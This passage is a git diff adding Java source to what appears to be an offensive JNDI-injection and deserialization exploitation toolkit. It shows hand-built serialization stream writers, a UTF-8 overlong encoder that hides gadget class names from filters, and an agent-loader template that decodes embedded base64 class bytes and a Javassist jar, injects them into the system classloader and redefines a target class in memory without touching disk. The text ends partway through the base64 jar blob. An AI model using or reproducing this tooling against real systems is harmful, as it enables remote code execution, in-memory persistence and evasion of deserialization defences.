java.io.DataOutputStream; +import java.util.ArrayList; +import java.util.List; + +public class TCProxyClassDesc extends TCClassDesc implements SerializedElement { + private List interfaces = (List) new ArrayList>(); + + public TCProxyClassDesc addInterface(Class cls) { + this.interfaces.add(cls); + return this; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(125); + out.writeInt(this.interfaces.size()); + for (Class intf : this.interfaces) + out.writeUTF(intf.getName()); + out.writeByte(120); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCReference.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCReference.java new file mode 100644 index 0000000..dd7b495 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCReference.java @@ -0,0 +1,16 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public class TCReference implements SerializedElement { + private int handle; + + public TCReference(int handle) { + this.handle = handle; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(113); + out.writeInt(8257536 + this.handle); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCString.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCString.java new file mode 100644 index 0000000..4c72108 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCString.java @@ -0,0 +1,32 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.HashMap; +import java.util.Map; + +public class TCString extends ReferencableObject implements SerializedElement { + private static Map instances = new HashMap(); + private String content; + + private TCString(String content) { + this.content = content; + } + + public static TCString getInstance(String content) { + TCString ins = instances.get(content); + if (ins != null) + return ins; + ins = new TCString(content); + instances.put(content, ins); + return ins; + } + + public Object getHandleObject() { + return this.content; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(116); + out.writeUTF(this.content); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Util.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Util.java new file mode 100644 index 0000000..c53534d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Util.java @@ -0,0 +1,25 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.lang.reflect.InvocationHandler; + +public class Util { + public static TCObject makeProxy(Class[] interfaces, InvocationHandler handler, Serialization ser) throws Exception { + return doMakeProxy(interfaces, handler, ser); + } + + public static TCObject makeProxy(Class[] interfaces, TCObject handler, Serialization ser) throws Exception { + return doMakeProxy(interfaces, handler, ser); + } + + private static TCObject doMakeProxy(Class[] interfaces, Object handler, Serialization ser) throws Exception { + TCObject proxy = new TCObject(ser); + TCProxyClassDesc proxyDesc = new TCProxyClassDesc(); + for (Class intf : interfaces) + proxyDesc.addInterface(intf); + TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy"); + desc.addField(new TCClassDesc.Field("h", InvocationHandler.class)); + proxy.addClassDescData(proxyDesc, new TCObject.ObjectData()); + proxy.addClassDescData(desc, (new TCObject.ObjectData()).addData(handler)); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java b/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java new file mode 100644 index 0000000..6ed1092 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java @@ -0,0 +1,301 @@ +package com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding; + +public class UTF8BytesMix { + final static byte TC_CLASSDESC = (byte) 0x72; + final static byte TC_PROXYCLASSDESC = (byte) 0x7d; + final static byte TC_STRING = (byte) 0x74; + final static byte TC_REFERENCE = (byte) 0x71; + final static byte TC_LONGSTRING = (byte) 0x7C; + final static byte TC_ARRAY = (byte) 0x75; + final static byte TC_ENDBLOCKDATA = (byte) 0x78; + final static byte TC_NULL = (byte) 0x70; + final static byte Byte = (byte) 0x42; + final static byte Char = (byte) 0x43; + final static byte Double = (byte) 0x44; + final static byte Float = (byte) 0x46; + final static byte Integer = (byte) 0x49; + final static byte Long = (byte) 0x4a; + final static byte Object_L = (byte) 0x4c; + final static byte Short = (byte) 0x53; + final static byte Boolean = (byte) 0x5a; + final static byte Array = (byte) 0x5b; + public static byte[] resultBytes = new byte[0]; + public static byte[] originalBytes = new byte[0]; + // 加密字节位数 + public static int type = 2; //3 + // 原 byte[] 坐标 + public static int index = 0; + + + public UTF8BytesMix(byte[] originalBytes) { + this.originalBytes = originalBytes; + } + + public static byte[] builder() { + while (index < originalBytes.length) { + byte b = originalBytes[index]; + byteAdd(b); + + if (b == TC_CLASSDESC) { + changeTC_CLASSDESC(); + } else if (b == TC_PROXYCLASSDESC) { + changeTC_PROXYCLASSDESC(); + } else if (b == TC_STRING) { + changeTC_STRING(); + } + + index++; + } + return resultBytes; + } + + public static void changeTC_PROXYCLASSDESC() { + int interfaceCount = ((originalBytes[index + 1] & 0xFF) << 24) | + ((originalBytes[index + 2] & 0xFF) << 16) | + ((originalBytes[index + 3] & 0xFF) << 8) | + (originalBytes[index + 4] & 0xFF); + if (interfaceCount > 0xff || interfaceCount < 0x00) + return; + + for (int i = 0; i < 4; i++) { + byteAdd(originalBytes[index + 1]); + index++; + } + + int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); + byte[] originalValue = new byte[length]; + System.arraycopy(originalBytes, index + 3, originalValue, 0, length); + index += 3 + length; + + encode(originalValue, type); + index--; + } + + + public static boolean changeTC_CLASSDESC() { + /** + * 类信息 + */ + boolean isTC_CLASSDESC = changeTC_STRING(); + if (!isTC_CLASSDESC) { + return false; + } + index++; + + /** + * SerialVersionUID + ClassDescFlags + */ + byte[] serialVersionUID = new byte[9]; + System.arraycopy(originalBytes, index, serialVersionUID, 0, 9); + for (int i = 0; i < serialVersionUID.length; i++) { + byteAdd(serialVersionUID[i]); + } + index += 9; + + /** + * FieldCount + */ + byte[] fieldCount = new byte[2]; + System.arraycopy(originalBytes, index, fieldCount, 0, 2); + for (int i = 0; i < fieldCount.length; i++) { + byteAdd(fieldCount[i]); + } + int fieldCounts = ((fieldCount[0] & 0xFF) << 8) | (fieldCount[1] & 0xFF); + index += 2; + + for (int i = 0; i < fieldCounts; i++) { + boolean isFiledOver = false; + + /** + * FieldName + */ + if (originalBytes[index] == Byte + || originalBytes[index] == Char + || originalBytes[index] == Double + || originalBytes[index] == Float + || originalBytes[index] == Integer + || originalBytes[index] == Long + || originalBytes[index] == Object_L + || originalBytes[index] == Short + || originalBytes[index] == Boolean + || originalBytes[index] == Array) { + // Object + byteAdd(originalBytes[index]); + index++; + + int fieldLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); + byte[] originalFieldName = new byte[fieldLength]; + System.arraycopy(originalBytes, index + 2, originalFieldName, 0, fieldLength); + index += 2 + fieldLength; + encode(originalFieldName, type); + } + + /** + * Class Name + * + * 也规避了这种情况 + * Index 0: + * Integer - I - 0x49 + * @FieldName + * @Length - 4 - 0x00 04 + * @Value - size - 0x73 69 7a 65 + */ + // TC_STRING 0x74 + if (originalBytes[index] == TC_STRING) { + + byteAdd(originalBytes[index]); + index++; + + int classLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); + byte[] originalClassName = new byte[classLength]; + System.arraycopy(originalBytes, index + 2, originalClassName, 0, classLength); + index += 2 + classLength; + encode(originalClassName, type); + isFiledOver = true; + } else if (originalBytes[index] == TC_REFERENCE) { + /** + * Index 0: + * Object - L - 0x4c + * @FieldName + * @Length - 9 - 0x00 09 + * @Value - decorated - 0x64 65 63 6f 72 61 74 65 64 + * @ClassName + * TC_REFERENCE - 0x71 + * @Handler - 8257537 - 0x00 7e 00 01 + */ + byte[] reference = new byte[5]; + System.arraycopy(originalBytes, index, reference, 0, 5); + for (int j = 0; j < reference.length; j++) { + byteAdd(reference[j]); + } + index += 5; + isFiledOver = true; + } + + // todo 看看其他可能未识别到的类型 +// if(i < fieldCounts - 1 && !isFiledOver) { +// while (true) { +// if (!isField(originalBytes, index)) { +// byteAdd(originalBytes[index]); +// index++; +// } else { +// break; +// } +// } +// } + + } + + // 循环需要 + index--; + return true; + } + + public static boolean changeTC_STRING() { + int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); + // 溢出 + if (length > 0xff || length < 0x00) + return false; + + // 原始内容 + byte[] originalValue = new byte[length]; + System.arraycopy(originalBytes, index + 3, originalValue, 0, length); + // 非全部可见字符,可能存在的报错,不继续执行 + if (!isByteVisible(originalValue)) { + return false; + } + + index += 3 + length; + encode(originalValue, type); + + index--; + return true; + } + + + public static boolean isField(byte[] checkBytes, int index) { + if (!(checkBytes[index] == Byte + || checkBytes[index] == Char + || checkBytes[index] == Double + || checkBytes[index] == Float + || checkBytes[index] == Integer + || checkBytes[index] == Long + || checkBytes[index] == Object_L + || checkBytes[index] == Short + || checkBytes[index] == Boolean + || checkBytes[index] == Array)) { + return false; + } + + int length = ((checkBytes[index + 1] & 0xFF) << 8) | (checkBytes[index + 2] & 0xFF); + if (length > 0xff || length < 0x00) + return false; + byte[] lengthBytes = new byte[length]; + try { + System.arraycopy(checkBytes, index + 3, lengthBytes, 0, length); + } catch (Exception e) { + return false; + } + + return true; + } + + /** + * 加密 + * + * @return + */ + public static void encode(byte[] originalValue, int type) { + if (type == 3) { + // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx + int newLength = originalValue.length * 3; + + byteAdd((byte) ((newLength >> 8) & 0xFF)); + byteAdd((byte) (newLength & 0xFF)); + + for (int i = 0; i < originalValue.length; i++) { + char c = (char) originalValue[i]; + byteAdd((byte) (0xE0 | ((c >> 12) & 0x0F))); + byteAdd((byte) (0x80 | ((c >> 6) & 0x3F))); + byteAdd((byte) (0x80 | ((c >> 0) & 0x3F))); + } + + } else { + // 2 byte format: 110xxxxx 10xxxxxx + int newLength = originalValue.length * 2; + + byteAdd((byte) ((newLength >> 8) & 0xFF)); + byteAdd((byte) (newLength & 0xFF)); + + for (int i = 0; i < originalValue.length; i++) { + char c = (char) originalValue[i]; + byteAdd((byte) (0xC0 | ((c >> 6) & 0x1F))); + byteAdd((byte) (0x80 | ((c >> 0) & 0x3F))); + } + } + + + } + + /** + * 判断字节是否在可见字符的 ASCII 范围内 + * + * @param bytes + * @return + */ + public static boolean isByteVisible(byte[] bytes) { + for (byte b : bytes) { + if (b < 32 || b > 126) { + return false; + } + } + return true; + } + + public static void byteAdd(byte b) { + byte[] newBytes = new byte[resultBytes.length + 1]; + System.arraycopy(resultBytes, 0, newBytes, 0, resultBytes.length); + newBytes[resultBytes.length] = b; + resultBytes = newBytes; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java b/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java new file mode 100644 index 0000000..1819e76 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java @@ -0,0 +1,126 @@ +package com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding; + +import com.qi4l.jndi.gadgets.utils.Reflections; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { + public static HashMap map = new HashMap() {{ + put('.', new int[]{0xc0, 0xae}); + put(';', new int[]{0xc0, 0xbb}); + put('$', new int[]{0xc0, 0xa4}); + put('[', new int[]{0xc1, 0x9b}); + put(']', new int[]{0xc1, 0x9d}); + put('a', new int[]{0xc1, 0xa1}); + put('b', new int[]{0xc1, 0xa2}); + put('c', new int[]{0xc1, 0xa3}); + put('d', new int[]{0xc1, 0xa4}); + put('e', new int[]{0xc1, 0xa5}); + put('f', new int[]{0xc1, 0xa6}); + put('g', new int[]{0xc1, 0xa7}); + put('h', new int[]{0xc1, 0xa8}); + put('i', new int[]{0xc1, 0xa9}); + put('j', new int[]{0xc1, 0xaa}); + put('k', new int[]{0xc1, 0xab}); + put('l', new int[]{0xc1, 0xac}); + put('m', new int[]{0xc1, 0xad}); + put('n', new int[]{0xc1, 0xae}); + put('o', new int[]{0xc1, 0xaf}); // 0x6f + put('p', new int[]{0xc1, 0xb0}); + put('q', new int[]{0xc1, 0xb1}); + put('r', new int[]{0xc1, 0xb2}); + put('s', new int[]{0xc1, 0xb3}); + put('t', new int[]{0xc1, 0xb4}); + put('u', new int[]{0xc1, 0xb5}); + put('v', new int[]{0xc1, 0xb6}); + put('w', new int[]{0xc1, 0xb7}); + put('x', new int[]{0xc1, 0xb8}); + put('y', new int[]{0xc1, 0xb9}); + put('z', new int[]{0xc1, 0xba}); + put('A', new int[]{0xc1, 0x81}); + put('B', new int[]{0xc1, 0x82}); + put('C', new int[]{0xc1, 0x83}); + put('D', new int[]{0xc1, 0x84}); + put('E', new int[]{0xc1, 0x85}); + put('F', new int[]{0xc1, 0x86}); + put('G', new int[]{0xc1, 0x87}); + put('H', new int[]{0xc1, 0x88}); + put('I', new int[]{0xc1, 0x89}); + put('J', new int[]{0xc1, 0x8a}); + put('K', new int[]{0xc1, 0x8b}); + put('L', new int[]{0xc1, 0x8c}); + put('M', new int[]{0xc1, 0x8d}); + put('N', new int[]{0xc1, 0x8e}); + put('O', new int[]{0xc1, 0x8f}); + put('P', new int[]{0xc1, 0x90}); + put('Q', new int[]{0xc1, 0x91}); + put('R', new int[]{0xc1, 0x92}); + put('S', new int[]{0xc1, 0x93}); + put('T', new int[]{0xc1, 0x94}); + put('U', new int[]{0xc1, 0x95}); + put('V', new int[]{0xc1, 0x96}); + put('W', new int[]{0xc1, 0x97}); + put('X', new int[]{0xc1, 0x98}); + put('Y', new int[]{0xc1, 0x99}); + put('Z', new int[]{0xc1, 0x9a}); + }}; + + public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeClassDescriptor(ObjectStreamClass desc) { + try { + String name = desc.getName(); + writeShort(name.length() * 2); + try { + for (int i = 0; i < name.length(); i++) { + char s = name.charAt(i); + write(map.get(s)[0]); + write(map.get(s)[1]); + } + } catch (Exception e) { + + } + writeLong(desc.getSerialVersionUID()); + byte flags = 0; + if ((Boolean) Reflections.getFieldValue(desc, "externalizable")) { + flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; + Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); + protocolField.setAccessible(true); + int protocol = (Integer) protocolField.get(this); + if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { + flags |= ObjectStreamConstants.SC_BLOCK_DATA; + } + } else if ((Boolean) Reflections.getFieldValue(desc, "serializable")) { + flags |= ObjectStreamConstants.SC_SERIALIZABLE; + } + if ((Boolean) Reflections.getFieldValue(desc, "hasWriteObjectData")) { + flags |= ObjectStreamConstants.SC_WRITE_METHOD; + } + if ((Boolean) Reflections.getFieldValue(desc, "isEnum")) { + flags |= ObjectStreamConstants.SC_ENUM; + } + writeByte(flags); + ObjectStreamField[] fields = (ObjectStreamField[]) Reflections.getFieldValue(desc, "fields"); + writeShort(fields.length); + for (int i = 0; i < fields.length; i++) { + ObjectStreamField f = fields[i]; + writeByte(f.getTypeCode()); + writeUTF(f.getName()); + if (!f.isPrimitive()) { + Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class); + writeTypeString.setAccessible(true); + writeTypeString.invoke(this, f.getTypeString()); +// writeTypeString(f.getTypeString()); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.java b/src/main/java/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.java new file mode 100644 index 0000000..5b816bb --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.java @@ -0,0 +1,112 @@ +package com.qi4l.jndi.template.Agent; + +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.List; + + +public class AgentLoaderTemplate extends ClassLoader { + public static String SU_URL_CONNECTION_BYTES; + + public static String SU_URL_STREAM_HANDLER_BYTES; + + public static String CLASS_MODIFIER_BYTES; + + public static String AGENT_NO_FILE_BYTES; + + public static String JAR_BODY; + + static { + try { + initJavassistJar(); + // 需要让 System ClassLoader 成为自己的父类,这样在后面打入 Javassist Jar 包之后,自己也能找到 javassist 的类 + AgentLoaderTemplate tmpl = new AgentLoaderTemplate(getSystemClassLoader()); + + try { + // 如果当前环境有 Javassist,则使用当前环境的 + Class.forName("javassist.CtClass", false, tmpl); + } catch (Exception ignored) { + // 在内存中打一个 Javassist 进去 + Class a = tmpl.defineClass(base64Decode(SU_URL_CONNECTION_BYTES)); + tmpl.defineClass(base64Decode(SU_URL_STREAM_HANDLER_BYTES)); + byte[] jarBytes = base64Decode(JAR_BODY); + URL url = (URL) a.getMethod("createURL", byte[].class, String.class).invoke(null, jarBytes, "application/jar"); + URLClassLoader classLoader = (URLClassLoader) getSystemClassLoader(); + Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); + method.setAccessible(true); + method.invoke(classLoader, url); + } + + Class classModifier = tmpl.defineClass(base64Decode(CLASS_MODIFIER_BYTES)); + + // 反射调用,获取 Hook 类字节码,插入关键逻辑和需要的方法 Field 等 + Method method1 = classModifier.getMethod("insert", new Class[]{}); + method1.setAccessible(true); + List list = (List) method1.invoke(null); + String targetClassName = list.get(0).toString(); + byte[] newClassByte = (byte[]) list.get(1); + + // 执行 AgentNoFile 逻辑 + Class agent = tmpl.defineClass(base64Decode(AGENT_NO_FILE_BYTES)); + Method m = agent.getDeclaredMethod("redefineClasses", new Class[]{String.class, byte[].class}); + m.invoke(null, targetClassName, newClassByte); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public AgentLoaderTemplate() { + } + + public AgentLoaderTemplate(ClassLoader c) { + super(c); + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception whatever) { + } + } + return value; + } + + public static void initJavassistJar() { + JAR_BODY = "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